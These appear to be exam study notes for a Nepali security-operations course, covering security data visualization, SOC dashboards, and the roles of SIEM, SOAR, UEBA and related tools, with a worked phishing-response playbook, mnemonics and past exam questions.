- Describe the typical data processing pipeline in a SIEM. Explain the purpose of at least four of the following stages: Collect, Parse, Normalize, Enrich, and Store. Notes prediction, ch 4 Q4 · 8
4.6Data visualization for security analysis
Visualizing security data: which chart answers which question PREDICTED
Why it works. Nobody can read a million events, but anyone sees a spike in a line, a dark cell in a grid or a long bar in a ranking in under a second, because the eye processes position, length and colour before it reads a word.
To remember it: anyone who has followed Nepal on a cricket broadcast already reads these charts. The worm, runs over the overs, is a time series; the Manhattan, runs per over as bars, shows the collapse at a glance; the wagon wheel maps where the runs went. Swap runs for failed logins and overs for hours, and it is a SOC screen.
- Jobs of security visualization: detection (spotting what is abnormal); investigation (seeing sequence and relationships); communication (showing managers and auditors what happened).
- Shneiderman's mantra: overview first; zoom and filter; then details on demand.
| Visualization | Best for | Security example | Watch for |
|---|---|---|---|
| Time series (line) | trends, spikes and gaps over time | failed logins per hour; a flat zero means a log source has died | show the normal baseline beside it |
| Top N (bar) | ranking the heaviest values | top source IPs by denied connections; top users by data uploaded | the long tail is hidden |
| Heat map | two dimensions at once | logons by hour and weekday, where out-of-hours activity stands out | give the colour scale a legend |
| Geographic map | where connections come from | logins by country; impossible travel | GeoIP is approximate, and VPNs move people |
| Pie or donut | the share of a whole, few categories | alerts by severity for a management report | hard to compare slices; use sparingly |
| Histogram | how values are distributed | session lengths, bytes per connection | bin width changes the picture |
| Scatter plot | outliers across two measures | bytes sent against connections per host: the exfiltrating host sits alone | crowding with too many points |
| Link graph | who talks to whom | lateral movement between hosts | a hairball when there are too many nodes |
| Timeline | the order of events | an incident reconstructed for the report | clock alignment across sources |
An investigation, drawn. A time series shows failed logins jumping from about 20 an hour to 240 at 02:00. Zooming in, a top N chart shows one source address causing most of them; a geographic map places it abroad; a heat map shows no one normally logs in at that hour; the timeline of that address shows a success at the end. Overview, zoom and filter, details: five charts took the analyst from a spike to a correlation rule.
Building one follows Raffael Marty's process in Applied Security Visualization (2008), and charts built carelessly mislead:
- Marty's process: define the problem; assess the available data; process the information (filter, aggregate, add context); visual transformation (which chart, which colours); view transformation (scale, zoom); interpret and decide.
- Ways a chart misleads: a linear axis that flattens a small count beside a huge one, where a log scale is needed; a truncated axis that exaggerates a change; too many colours that hide the one that matters; 3D and decoration.
The syllabus lab on data visualization asks for exactly this skill: using visualization tools to find trends and anomalies and to build security dashboards and reports.
- Explain the role of data visualization in security analysis, describing common visualizations such as time series, heat maps, top N charts and geographic maps. What makes a good security dashboard? Predicted, ch 4 Q6 · 5+5
Security dashboards, and what makes a good one PREDICTED
A dashboard is not a report. A dashboard is live and glanced at; a report is scheduled, detailed and kept, often as compliance evidence. Both come from the same stored events, and both are the reporting function of log management.
To remember it: a motorbike's dashboard shows speed, fuel and a warning light, glanced at while riding and acted on at once; the service book, read at the workshop, is the report. A SOC dashboard is the speedometer, not the service history.
Different readers need different dashboards:
| Reader | Purpose | Shows | Refresh |
|---|---|---|---|
| SOC analyst | operational: what needs action now | open alerts by severity, the queue, live event rate, log source health | seconds to minutes |
| SOC manager | performance | MTTD, MTTR, alerts per analyst, false positive rate, backlog | daily, weekly |
| CISO and management | strategic: are we getting safer? | risk and incident trends by category, compliance status, coverage of ATT&CK techniques | monthly, quarterly |
| Auditor | evidence | administrator actions, access to sensitive data, proof that logs are retained | scheduled reports |
| Threat hunter | investigation | pivot tables, timelines, link graphs, rare values | on demand |
The measures on them. MTTD, mean time to detect, averages the time from the start of an incident to its detection; MTTR, mean time to respond, averages the time from detection to containment or recovery. EPS, events per second, measures log volume and sizes the SIEM. Log source health counts the sources reporting against those expected, because a silent source makes every other panel lie. False positive rate is the share of alerts that turn out harmless.
What makes a good security dashboard:
- One purpose and one audience: an analyst's screen and a board report are two dashboards.
- The most urgent panel top left, where the eye lands first, and the rest in order of importance.
- Few panels on one screen, without scrolling: a dashboard that needs a search is a report.
- Every number in context: a baseline, a threshold or a trend. 400 failed logins means nothing until the normal figure is known.
- The right chart for each question, from the previous card.
- Consistent colour: red only for bad, and colours that colour blind readers can tell apart.
- Time range and time zone stated, and a refresh rate that matches its use.
- Drill down: every panel opens the raw events behind it.
- Actionable: every panel leads to a decision; panels nobody uses are removed.
- Trustworthy data: log source health on the screen, so a gap is seen as a gap and not as a quiet night.
The failure it prevents is the wall of charts: forty panels of pies, no baselines, shown on a large screen that nobody acts on. The syllabus lab on SIEM implementation ends in exactly this step: configure data sources, create dashboards, and set up alerting.
- Explain the role of data visualization in security analysis, describing common visualizations such as time series, heat maps, top N charts and geographic maps. What makes a good security dashboard? Predicted, ch 4 Q6 · 5+5
4.7Last minute recall
Chapter 4 in one screen
- Log: a timestamped record of events from systems, applications or network devices; an entry answers when, who, what, from where, on which host.
- Scenarios: hacked website: access, error, CMS, database, firewall, OS logs; hacked Facebook account: sessions, login history, alert emails, own devices, then the incident handling steps.
- Log management: gathering, storing, processing, synthesizing, analyzing log data; reasons: detect hackers, troubleshoot, monitor, compliance, forensics, performance.
- Five benefits: unified storage, improved security, observability, customer experience, faster troubleshooting.
- Seven functions: collection, monitoring, analysis and correlation, enrichment, retention, indexing or search, reporting; NIST SP 800-92 adds filtering, aggregation, integrity checking, disposal.
- SIEM against log management: real-time correlation, normalization, enrichment, alerts; log management only collects, stores, searches.
- Nine log types: authentication, authorization, system, application, network, firewall, database, security, audit.
- Source layers: operating systems, applications, network devices, plus security tools, cloud (CloudTrail, Azure Activity Log, GCP Audit Logs, Kubernetes audit, CSPM, CIEM and CWPP findings), physical and IoT.
- Windows IDs: 4624 logon, 4625 failed, 4648 explicit credentials, 4672 special privileges, 4688 process, 4720 account created, 4732 added to group, 4740 lockout, 1102 log cleared, 7045 service.
- Collection: agent based against agentless; push (syslog UDP 514, TLS 6514) and pull (WEF, WMI, APIs); aggregation: tiers, NTP and UTC, filtering, deduplication, queueing.
- Formats: syslog (PRI = facility × 8 + severity, severities 0 to 7), CEF (header plus key=value), LEEF, JSON, Windows EVTX; parsing by regex.
- Retention: late discovery, retro hunting, PCI DSS 12 months (3 immediate), CERT-In 180 days, evidence; limits: cost, privacy; tiers hot, warm, cold, disposal; integrity by hashing and WORM.
- Analysis against correlation: one source, what happened; many sources joined on user, IP or host within a window; the 37 failures deserve investigation; the search looks for IoCs (malicious IPs and domains, hashes, URLs).
- Enrichment: threat intelligence verdict, asset, identity, GeoIP, DNS; sets severity, enables joins, saves analyst time.
- Rules: single event, threshold, sequence, cross source, absence, threat intelligence match, statistical; use case lifecycle; false positives, Sigma.
- SIEM: SIM plus SEM (Gartner, 2005); normalization, storage, analytics; security, compliance, operations; five stages: collection, normalization, correlation, storage, reporting; covers the blind spots of endpoint, network and data security, at a cost.
- Pipeline: devices, forwarded logs, collect, parse, [normalize, enrich, route = processing policy], store.
- Visualization: time series, top N, heat map, geographic map, pie, histogram, scatter, link graph, timeline; overview, zoom and filter, details on demand.
- Dashboards: analyst, manager, executive, auditor, hunter; MTTD, MTTR, EPS, source health; one purpose, urgent top left, context, drill down, actionable.
- Mnemonics: seven functions, Chhuchhi Mausi Aayera Ekai Raat Inar Rittyain; nine log types, Ankal Aafno Saathi Aaunda Nashama Fridge Dhalera Sutnubhayo Aanganma; syslog severities, Euta Aalsi Chaukidar Eklai WiFi Nabhai Ishwor Dekhyo; pipeline, Dami Chor Pasalma Nachyo, Ekchhin Royo, Samatiyo.
Chapter 5 · 4 hours · 8 of 80 marks in the syllabus · in all 4 sittings
Emerging technologies in security operations
A modern security operations center runs on a small family of tools: SIEM to see and correlate, UEBA to spot behavior that rules miss, EDR and NDR to watch the endpoints and the network, XDR to join them into one incident, and SOAR to act at machine speed. This chapter teaches what each one does, why it emerged and how they work together, then the three ideas set beside them: the SOC visibility triad, the virtual CISO and post-quantum cryptography. It carries 8 of the 80 marks in the syllabus weighting, and every sitting on record set its Question 4 here.
- The SOC and its tools: what "emerging technologies" means in security operations, and the chain of problems that produced each tool.
- Detection and analytics: SIEM as the SOC's hub, next-generation SIEM, and UEBA for behavior that no rule describes.
- Sensors on each layer: EDR on the endpoints, NDR on the network, and XDR joining the layers into one incident.
- Response: SOAR, and the playbooks it runs.
- Putting it together: the SOC visibility triad, integration use cases, and monitoring in the cloud.
- Leadership and what comes next: the virtual CISO, and why post-quantum cryptography is already on sale.
- SIEM as a log platform (its architecture and pipeline) is chapter 4: SIEM and the SIEM pipeline. This chapter is about what the SOC does with it.
- Threat hunting (chapter 3) runs on these tools' data, and MITRE ATT&CK is the common language their detections are mapped to.
- Incident response (chapter 6) is what SOAR playbooks automate.
- Insider threat: UEBA is the detection side of the controls in chapter 7.
- Malware and attacks: EDR exists because of fileless attacks and ransomware; PQC protects the encryption that interception attacks such as man in the middle try to defeat.
- 5.1 The SOC toolset: why each technology emerged
- 5.2 SIEM as a SOC technology: features, next-generation SIEM, posture
- 5.3 SOAR: orchestration, automation and response
- 5.3 A SOAR playbook, step by step: a reported phishing email
- 5.4 UEBA: baselines, anomalies and risk scores
- 5.5 EDR: detection and response on the endpoint
- 5.5 NDR: detection and response on the network
- 5.6 XDR: one incident across every layer
- 5.7 The SOC visibility triad
- 5.7 Integration and use cases
- 5.7 Security monitoring in the cloud
- 5.8 The virtual CISO
- 5.9 Post-quantum cryptography: why vendors ship it now
- 5.10 Last minute recall, chapter 5
- Question 4 of every sitting: the key features of SIEM and SOAR and how they lift the posture (2083 internal, 5 marks); why vendors already offer PQC, with the SOC visibility triad in brief (the 2081 Bhadra board paper, 10 marks, and the 2082 internal).
- The class notes set the whole family: the role, features and posture gains of SIEM, SOAR, UEBA, EDR and XDR together, and a full question on the triad.
- Draw: the stack, the triad, a playbook flow and the harvest-now timeline. Each one is quick to reproduce and carries the argument by itself.
5.1Introduction to emerging technologies
The SOC toolset: why each technology emerged, and what it adds HOT 1/4
82 Bh10
The security operations center (SOC) is the team, the processes and the technology that watch an organization's systems around the clock, detect and investigate threats, and coordinate the response.
- People: tier 1 analysts triage alerts, tier 2 analysts investigate and respond to incidents, tier 3 analysts hunt threats and build detections, and a SOC manager reports to the CISO.
- Process: playbooks, escalation paths and metrics.
- Technology: the tools this chapter teaches.
No single tool is enough. The class notes open the chapter this way: no one technology gives complete protection, so the tools work together as an ecosystem that provides deep visibility, analyzes behavior and automates the response.
Why "emerging". Each of these tools grew out of a real failure of the tools before it, and all of them are still changing as cloud delivery, machine learning and automation reshape them. The lecture deck frames them as what you need to monitor and respond, and they are easiest to understand as a chain of problems and answers:
| The problem | The answer | What it adds |
|---|---|---|
| Hundreds of systems produce millions of log events a day, far more than anyone can read by hand | SIEM | collects, correlates and alerts from one searchable place |
| The SIEM now raises more alerts than analysts can triage | SOAR | playbooks that investigate and contain at machine speed |
| A stolen password or a malicious insider looks like normal activity to rules | UEBA | per-user baselines that flag abnormal behavior |
| Signature antivirus misses fileless and living-off-the-land attacks | EDR | behavior recording and response on every endpoint |
| Unmanaged, IoT, OT and legacy devices cannot run an agent | NDR | agentless detection from network traffic |
| Every tool is a separate console holding its own fragment of the attack | XDR | one incident, correlated across layers |
Four jobs, one loop. Read the stack as a pipeline:
- See: sensors collect: EDR on the endpoints, NDR on the network, and logs from firewalls, identity, cloud and applications.
- Understand: SIEM correlation, UEBA baselines and threat intelligence turn the data into alerts.
- Unify: XDR joins the fragments into one incident.
- Act: SOAR responds through the other tools' APIs.
- Learn: each incident's lessons flow back as new rules, tuned baselines and better playbooks.
To remember it: think of a city's traffic police control room. Its cameras are the sensors (EDR inside buildings, NDR on the roads), the wall of screens is the SIEM, the constable who spots a stranger on his street is UEBA, the case file joining one suspect's route is XDR, and the standing order to alert the nearest checkpoint is a SOAR playbook.
| Tool | Watches | The question it answers | Blind spot |
|---|---|---|---|
| SIEM | logs from everything | Did anything suspicious happen anywhere? | sees only what is logged; floods analysts with alerts |
| SOAR | alerts and cases | What do we do about it, now and every time? | only as good as its playbooks |
| UEBA | identity and activity history | Is this user or device acting unlike itself? | needs a learning period; an anomaly is not proof |
| EDR | processes, files and registry on hosts | What ran on this machine, and can I stop it? | needs an agent; no network view |
| NDR | packets, flows and DNS | What is moving on the wire? | cannot see inside a host |
| XDR | all layers, natively joined | Are these separate alerts one attack? | strongest inside one vendor's products |
Security posture is an organization's overall ability to prevent, detect, respond to and recover from attacks. The stack lifts it in six ways:
- Visibility: endpoints, network, identity and cloud are all watched, so no layer is dark.
- Early detection: correlation and behavior analytics cut the mean time to detect (MTTD).
- Speed: automation cuts the mean time to respond (MTTR), and with it the dwell time, the days an intruder stays unnoticed.
- Consistency: a playbook responds the same way at 3 a.m. as at noon.
- Analyst focus: machines do the repetitive triage; people handle the hard cases and hunt (threat hunting).
- Evidence: retained, searchable records for audits (chapter 7) and for incident response (chapter 6).
- Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture? 2082 Bhadra Q4 · 10
- Discuss the role of multiple emerging technologies (eg., SIEM, SOAR, UEBA, EDR, XDR) in security operations environment. Highlight key features and functionalities and how they enhance an organization’s ability to enhance cybersecurity posture. Class notes, ch 5 Q1
5.2SIEM
SIEM as the SOC's hub: features, next-generation SIEM and posture TOP 2/4
83 int · 82 Bh105
How it is built (collection, parsing, normalization, enrichment, storage, correlation and reporting) is chapter 4's subject: SIEM and its pipeline. This card is about what the SOC gets from it.
Its role (the class notes): the foundational layer and central "brain" of security operations, whose primary role is to aggregate, store and analyze log data from across the entire enterprise. The deck's slide line gives the payoff: detect threats early, stay compliant, and operate with full control.
Why it emerged. Manual log review could not keep pace once organizations ran hundreds of systems generating millions of events a day. The name joins two older product types: security information management (SIM, storing and reporting on logs) and security event management (SEM, watching events in real time). Gartner coined SIEM for the combination in 2005.
Key features and functionalities. The deck's list is search, dashboards, reports, alerts, incident and case management, and threat investigation. In full:
- Collection and normalization: logs from firewalls, servers, endpoints, identity, cloud and applications, parsed into one schema so they can be compared.
- Correlation: analyzing events from different sources to find the relationships and dependencies that indicate a threat, through rules that join them into one alert, such as twenty failed logins on one account followed by a success from the same address.
- Enrichment: threat intelligence (chapter 3), geolocation, asset value and user identity added to each event, so an alert arrives with its context.
- Alerting and prioritization: severity and risk scores, so the worst alerts are worked first.
- Search and investigation: a query language to pivot across all the logs. The deck's SIEM is built on its own indexing engine and uses a fast pipe-based query language to pivot across massive log volumes during a hunt, from a file hash to a user to an address.
- Dashboards and visualization: live views for analysts, trends for managers.
- Reports and compliance: scheduled evidence for standards such as PCI DSS and ISO/IEC 27001, and for data protection law.
- Incident and case management: each alert becomes a tracked case with an owner, notes and evidence.
- Retention and forensics: months or years of history, to reconstruct an intrusion found late.
Answers: “Highlight key features and functionalities of SIEM” (2083 internal Q4, with SOAR, and the class notes’ ch 5 Q1). Nine features.
How it decodes: nine words, nine features, in the order of the list above. The son finishes the whole pot of tea by himself, and his sister wails: have some shame!
- CChhoro Collection and normalization: logs from every source, parsed into one schema
- CChiya Correlation: rules that join events from different sources into one alert
- EEklai Enrichment: threat intelligence, asset value and identity added to each event
- AAaphai Alerting and prioritization: severity and risk scores, worst first
- SSakaayo Search and investigation: one query language across all the logs
- DDidi Dashboards and visualization: live views for analysts, trends for managers
- RRunchhin Reports and compliance: scheduled evidence for PCI DSS, ISO/IEC 27001 and the law
- IIjjat Incident and case management: every alert a tracked case with an owner
- RRaakha Retention and forensics: months or years of history. Raakha means keep, and retention is keeping
What the dashboard counts. The slide's legend names ten breach event types. Here they are grouped by what each one points to; the grouping is ours, the slide only lists them:
| Points to | Breach event types on the slide |
|---|---|
| A payload coming in | anomalous octet stream (octet stream is the web's label for raw binary data, so an unexpected one often means a file being fetched) |
| Looking around | expanded network scan; lots of new connections |
| Calling home | SSL beaconing to a rare destination; multiple connections to a new external UDP port; new failed external connections |
| Data going out | data sent to a new external device; file storage |
| Destruction | anomalous SM delete volume (an unusual amount of deleting) |
| Many weak signs at once | unusual activity from multiple metrics |
Behavior, not signatures. Almost every name says new, rare, unusual or anomalous: these are behavioral detections, the baselining idea of UEBA and NDR at work inside the SIEM.
The Action panel beside the donut draws the same data as flows: from each host, through its address, to the detection it tripped, and on to the attack stage that detection signals (command and control or C2, exploit, egress and tooling are legible on the slide). Read left to right, it answers which machine, doing what, and how far into an attack.
A correlation, step by step (the deck's hunting scenario):
- A file infection alert names the recipient, Rita.
- Pivoting to her account shows repeated failed logins on several servers, all from one address.
- That address is on a known command and control list, and a second account is being probed from it.
- Three sources, one conclusion: Rita's account is compromised. The SOC disables the accounts and blocks the address at the firewall.
To remember it: picture a made-up night on a college exam portal. The firewall log shows one address trying hundreds of passwords, the portal log the admin signing in from it, the database log marks changed at 2 a.m. Each looks routine alone; one SIEM rule (failures, a success, records changed out of hours) joins them into one alert.
Next-generation SIEM. The first SIEMs were on-premises appliances running fixed rules. The current generation differs on every axis:
| Aspect | Traditional SIEM | Next-generation SIEM |
|---|---|---|
| Detection | static correlation rules and signatures | rules plus built-in UEBA, machine learning, threat intelligence, and content mapped to MITRE ATT&CK |
| Scale | an appliance; short, costly retention | cloud native; an elastic data lake; long searchable history |
| Data | mostly logs | logs plus EDR and NDR telemetry, cloud and SaaS audit trails, identity |
| Response | an alert and a ticket; people act by hand | integrated SOAR playbooks and one-click actions |
| Investigation | keyword search | fast query languages, entity timelines, attack graphs |
| False positives | many; constant tuning | fewer, through risk scoring and context |
Limits. A SIEM sees only what is logged and forwarded to it; its cost grows with data volume; its rules need constant tuning; and, untuned, it drowns analysts in false positives. Chapter 4's deck sums it up: costly, complex and resource intensive, and it needs in-house security expertise. SOAR and UEBA exist largely to fix the last two problems.
How it enhances the security posture:
- A single pane of glass: one searchable picture across firewalls, endpoints, identity and applications. In the class notes' words, it translates billions of raw, unreadable logs into actionable intelligence, so the security, compliance and IT operations teams share one unified view of the organization's security status.
- Earlier detection: correlation finds attacks that no single log reveals, cutting the time to detect.
- Focus: raw volume becomes a short, prioritized list of alerts.
- Compliance and accountability: retained audit trails and ready-made reports.
- Forensics and measurement: the history to reconstruct incidents and to measure the SOC itself.
- Highlight key features and functionalities of SIEM and SOAR. How they enhance an organization’s ability to enhance cybersecurity posture. 2083 internal Q4 · 5
- Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture? 2082 Bhadra Q4 · 10
- Discuss the role of multiple emerging technologies (eg., SIEM, SOAR, UEBA, EDR, XDR) in security operations environment. Highlight key features and functionalities and how they enhance an organization’s ability to enhance cybersecurity posture. Class notes, ch 5 Q1
- Differentiate between a traditional SIEM and a next-generation SIEM. How does a next-generation SIEM work with UEBA, threat intelligence and SOAR to improve threat detection and response? Predicted, ch 5 Q1 · 4+6
5.3SOAR
SOAR: orchestration, automation and response TOP 2/4
83 int · 82 Bh105
Why it emerged. SIEMs began generating more alerts than analysts could triage by hand. Every alert needs the same lookups (who is this user, what is this address, is this file known bad), and a team drowning in them misses the one that matters: alert fatigue. Security skills are scarce, and attackers move in hours, not days. SOAR closed the gap. The deck's slide line: move from reactive firefighting to structured control.
Its role (the class notes): the "connective tissue" of the whole security operations environment, built to optimize and automate incident response against analyst fatigue and long, complex manual processes.
Where the name comes from. Gartner describes SOAR as three older product types merged: security orchestration and automation, security incident response platforms, and threat intelligence platforms.
The three words are the three functions:
| Function | What it means | Example |
|---|---|---|
| Orchestration | connecting the disparate tools (SIEM, EDR, XDR, firewalls) through APIs and connectors, so they are controlled from one place and one workflow drives many systems | one playbook queries the SIEM, Active Directory, a threat intelligence feed and the EDR |
| Automation | repetitive manual tasks run by automated playbooks, with no human click | a SIEM alert comes in, and the playbook investigates it, gathers context from threat intelligence and creates a service ticket; or it looks up an address's reputation and blocks it on the firewall |
| Response | closing the loop: the analyst, or the automation itself, executes the response, and the case is managed with collaboration, approvals, evidence and metrics | orchestration tells the EDR to isolate the endpoint, and the case records every step for the report and the audit |
Automation and orchestration are not the same. Automation is one task done by a machine; orchestration strings many automated and manual tasks, across many tools, into one workflow.
To remember it: a bank's card fraud system is SOAR in miniature. A card used abroad at 2 a.m. is blocked and the customer texted within seconds, with nobody woken: automation, run across the card system and the SMS gateway as one (orchestration), and a person reviews the case in the morning (response).
Key features:
- Playbook builder: a visual editor of triggers, conditions and actions. The deck's screen (below) shows a trigger, if/then branches, enrichment sub-playbooks, an Active Directory API call and an email step; see also the worked playbook.
- Integration library: ready connectors for SIEMs, EDRs, firewalls, email, identity, ticketing and threat intelligence.
- Case management: one structured record per incident instead of scattered email threads.
- Human in the loop: approval steps before any action that could hurt the business.
- Metrics: MTTD, MTTR and analyst workload, measured automatically.
playbookEvent) fires
two branches. Each orange If... Then box compares its leftOperand (a field of the
triggering event) with its rightOperand, null, using !==: the
flow goes on only when that field is present, with an Else exit below it. Each blue box is an
action: account enrichment, a Microsoft Active Directory call (ad-get-user), and IP
enrichment below. Off the right of the crop, both branches meet a last check
(email !== null) before an email with the subject Account Activity goes out. From the Chapter 3 and 5 lecture deck (Logpoint), page 62The run list. The same slide lists every playbook run, and playbooks nest: Playbook 1 calls 1.1, which calls 1.1.1 and 1.1.2. Each row shows:
- Source: what fed the run (Active Directory; Office 365, written O365).
- Initiated by and run as: who started it (automation) and the account it runs under.
- Last run and status: when, and whether it is pending, succeeded or failed. On the slide, sub-playbook 1.2 has failed: a failed run needs an analyst, since whatever it was meant to do has not been done.
What it solves (the deck). It cuts the mean time to respond by automating containment: disabling accounts, blocking addresses, isolating hosts. Its playbooks trigger directly off SIEM correlation rules, so a credential-compromise flow can run end to end with no analyst click.
The money follows. IBM's Cost of a Data Breach Report 2024 found that organizations using security AI and automation extensively in prevention paid about 2.2 million US dollars less per breach on average.
| SIEM | SOAR | |
|---|---|---|
| Purpose | detect: find the needle | respond: act on it |
| Input | logs and events | alerts from the SIEM and other tools |
| Core | correlation rules and analytics | playbooks and integrations |
| Output | prioritized alerts and reports | actions taken, closed cases, metrics |
Risks. Automation repeats a wrong decision at machine speed: a false positive can lock a director out or isolate a production server. Playbooks need maintenance as tools and APIs change, and automating a chaotic process only makes the chaos faster. So a sensible SOC automates enrichment first, keeps a human approval on destructive steps, and adds containment as its confidence grows.
How it enhances the posture:
- Speed: response times fall from hours or days to minutes or seconds (the class notes), so containment is faster and the dwell time shorter.
- Productivity: SOC productivity rises sharply, because limited analysts are freed from a flood of low-level alerts to work the complex threats; it directly answers the overload of events and alerts.
- Consistency: the same response every time, at any hour.
- Accountability: complete, auditable case records.
- Scale: the SOC grows without hiring in step with the alert count.
Where it meets incident response: SOAR automates the containment and recovery work of chapter 6.
- Highlight key features and functionalities of SIEM and SOAR. How they enhance an organization’s ability to enhance cybersecurity posture. 2083 internal Q4 · 5
- Explain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture? 2082 Bhadra Q4 · 10
- Discuss the role of multiple emerging technologies (eg., SIEM, SOAR, UEBA, EDR, XDR) in security operations environment. Highlight key features and functionalities and how they enhance an organization’s ability to enhance cybersecurity posture. Class notes, ch 5 Q1
A SOAR playbook, step by step: a reported phishing email PREDICTED
Playbook and runbook. The words are used loosely. Usually a playbook is the whole workflow for an incident type, decision points included, and a runbook is a fixed sequence of technical steps inside it (for example, "isolate a host in the EDR").
The parts of every playbook:
- Trigger: the event that starts it, usually a SIEM correlation rule, a tool's alert or a user's report.
- Observables: the facts pulled out of the alert: user, host, address, domain, URL, file hash.
- Enrichment: lookups that add context: reputation, asset owner, the user's role, recent activity.
- Decision points: conditions that choose a branch (malicious, clean, unsure).
- Actions: the response steps, each through a tool's API.
- Approval gates: human sign-off before a disruptive action.
- Closure: case update, notifications, report and metrics.
The deck's example is a credential-compromise playbook. A SIEM correlation rule triggers it, and when its conditions hold it runs these steps with no analyst click:
- enrich the account from Active Directory and the address from threat intelligence;
- delete the malicious files from the endpoints and add the indicators of compromise (IOCs) to the blocklist;
- isolate the endpoint from the network;
- open a ServiceNow ticket;
- email a report to the SOC manager, the CISO and the IT manager.
Read the log closely: each entry carries what the enrichment found.
- The isolation entry names the host (PC-Mark3), its user, the user's location (London) and the user's manager.
- The ServiceNow ticket says why (malware was executed on the endpoint) and what IT must do next (format the endpoint ASAP, that is, wipe and rebuild it). It arrives explained and routed, so nobody has to look anything up.
Worked playbook: triaging a reported phishing email. Phishing (chapter 2) is the classic first playbook: high volume, repetitive checks and clear actions.
- Trigger: a user presses "Report phishing", or the email gateway flags a message. SOAR opens a case.
- Extract: the sender and reply-to addresses, the subject, the links, the attachment hashes, and the SPF, DKIM and DMARC results in the headers.
- Enrich: check each link, domain and hash against threat intelligence and reputation services, detonate the attachment and the link in a sandbox, and check the age of the sender's domain (one registered yesterday is suspicious).
- Decide: a clearly clean message closes the case with thanks to the reporter; a clearly malicious one continues; an unsure verdict goes to an analyst.
- Scope: search every mailbox for the same message, and search proxy, DNS and EDR data for anyone who clicked the link or opened the attachment.
- Approve: an analyst confirms with one click, because the next steps touch users.
- Contain: delete the message from all mailboxes, block the sender and the URL at the email gateway and web proxy, isolate any host that ran the attachment, and force a password reset and session revocation for anyone who typed a password.
- Close: update the case, notify the reporter and the SOC lead, share the indicators with the threat intelligence platform, and record the times.
Answers: the eight steps of the phishing playbook, in order (Predicted, ch 5 Q2: “showing its trigger, enrichment, decision and response steps”).
How it decodes: eight words, eight steps, in order. The big engineer passes out dead drunk in the courtyard, and a lizard licks him.
- TThulo Trigger: a user reports it, or the gateway flags it; a case opens
- EEngineer Extract: sender, links, hashes, and the SPF, DKIM and DMARC results
- EEkdam Enrich: threat intelligence, sandbox, the sender domain's age
- DDrunk Decide: clean, malicious or unsure
- SSutyo Scope: every mailbox searched, and who clicked found
- AAanganma Approve: one analyst click before users are touched
- CChhepare Contain: purge the mail, block the URL, isolate the host, reset passwords
- CChatyo Close: case updated, reporter told, indicators shared, times recorded
Why it cuts the mean time to respond. Done by hand, every reported email costs an analyst many minutes of lookups, and one campaign brings dozens at once. The playbook runs the lookups in seconds, in parallel, at any hour, and leaves only the judgment (unsure verdicts and approvals) to a person. MTTR is the average time from detection to containment:
To remember it: picture a made-up morning at a college. At 9:02 a student reports an email saying her Khalti KYC expires today unless she verifies it through a link. By 9:03, after one analyst click, the playbook has pulled the same email from 300 mailboxes, blocked the link and listed the three students who clicked, for password resets. By hand: a whole morning.
Design rules:
- Start small: frequent, low-risk, well understood incidents first (phishing, malware alerts, bursts of failed logins).
- Enrichment before containment: automate the lookups first, the actions later.
- People on disruptive steps: an approval gate wherever users or systems are hit.
- Treat playbooks as code: test them and keep versions.
- Map to incident response: each step belongs to a phase of chapter 6.
Other common playbooks: malware on an endpoint, a compromised account, brute force, ransomware containment, data exfiltration, and vulnerability alert triage.
- What is a SOAR playbook? Design an automated playbook for handling a phishing email reported by a user, showing its trigger, enrichment, decision and response steps, and explain how it reduces the mean time to respond. Predicted, ch 5 Q2 · 3+7
5.4UEBA
UEBA: catching behavior that no rule describes HOT 1/4
82 Bh10
Why it emerged. Compromised credentials and insider threats look like normal activity to rule-based detection. An attacker logging in with a stolen password, or an employee copying files they are allowed to read, breaks no rule and matches no signature.
A different question. UEBA asks not "is this known bad?" but "is this unlike this user?". The name grew from UBA (user behavior analytics) when entities were added, because machines and service accounts misbehave too.
Its role and features (the class notes): a specialized tool that uses advanced analytics to find threats by the behavior of users and devices, rather than by static rules or signatures.
- Behavioral analytics: machine learning builds the baseline of normal behavior for every user and entity on the network.
- Anomaly detection: its primary function, identifying abnormal and potentially dangerous behavior that deviates from that baseline, and scoring a user's risk on signs such as abnormal login times, unusual data access patterns or multiple failed authentications.
To remember it: Google and Facebook already run a small UEBA on every account. Sign in from a new phone in another country and an alert asks whether it was you: the password was right and no rule was broken, the sign-in was simply unlike you. UEBA asks that about every user, server and service account, all the time.
How it works:
- Collect: authentication and directory logs (Active Directory, VPN, single sign-on), file and database access, proxy and DNS, email, DLP, endpoint and cloud activity, and context such as HR records (role, department, leaving date).
- Baseline: over a learning period of weeks, model each user's usual hours, locations, devices, volumes and resources, and those of the peer group (the same department or role).
- Detect: compare each action with both baselines using statistics and machine learning: z-scores, clustering, rare events such as a first access to a server, and peer comparison.
- Score: each anomaly adds risk points weighted by its strength and the asset's value; points accumulate per entity and decay with time; an alert fires when the score crosses a threshold.
- Investigate: the analyst gets the entity's timeline of anomalies, and the case flows into the SIEM and SOAR.
Worked example (the deck's insider scenario). A finance clerk opens on average 40 files a day, with a standard deviation of 10. Today the account opens 400 files between 1 and 3 a.m., over VPN, from a country it has never used:
A z-score above about 3 is already unusual; 36 is extreme. Add the off-hours login and the new country, then a DLP record of uploads to a personal cloud site, and the risk score passes the threshold.
The verdict is either a compromised account or an insider taking data, perhaps before resigning. The response: restrict the account, preserve the evidence, and involve HR and legal under the insider threat policy (chapter 7).
The deck's UEBA screen shows what an analyst works from:
- Matrix of anomalies: each anomaly plotted on a timeline by its risk level (extreme, high, medium, low; six extreme and one high on the slide), under an overall risk trend line that climbs from 60 to 81.
- Top risky users: sorted by maximum risk; the top account scores 98, the next three 59, 55 and 53. Every entity is scored against its peer group in real time, as the deck shows for a finance department account.
- Anomalies in plain words: a user with little activity making failed access attempts to a shared drive (tagged "Potential Internal Recon", that is, reconnaissance from inside); the top user working in an hour that was very unusual for that account; the same user sending 1.31 GB in an hour by HTTP POST, far more than normal.
Read together, the last two are the insider pattern again: odd hours, then a large upload. That is why the account sits at the top of the list.
| Use case | Signals UEBA sees |
|---|---|
| Compromised account | impossible travel (a login in Kathmandu at 09:00 and in Frankfurt at 09:40), a new device, odd hours |
| Insider data theft | volume spikes, access outside the role, uploads to personal storage, a notice period |
| Privilege abuse | admin rights used on systems never touched before; a dormant account wakes up |
| Lateral movement | one account logs on to many hosts it has never used |
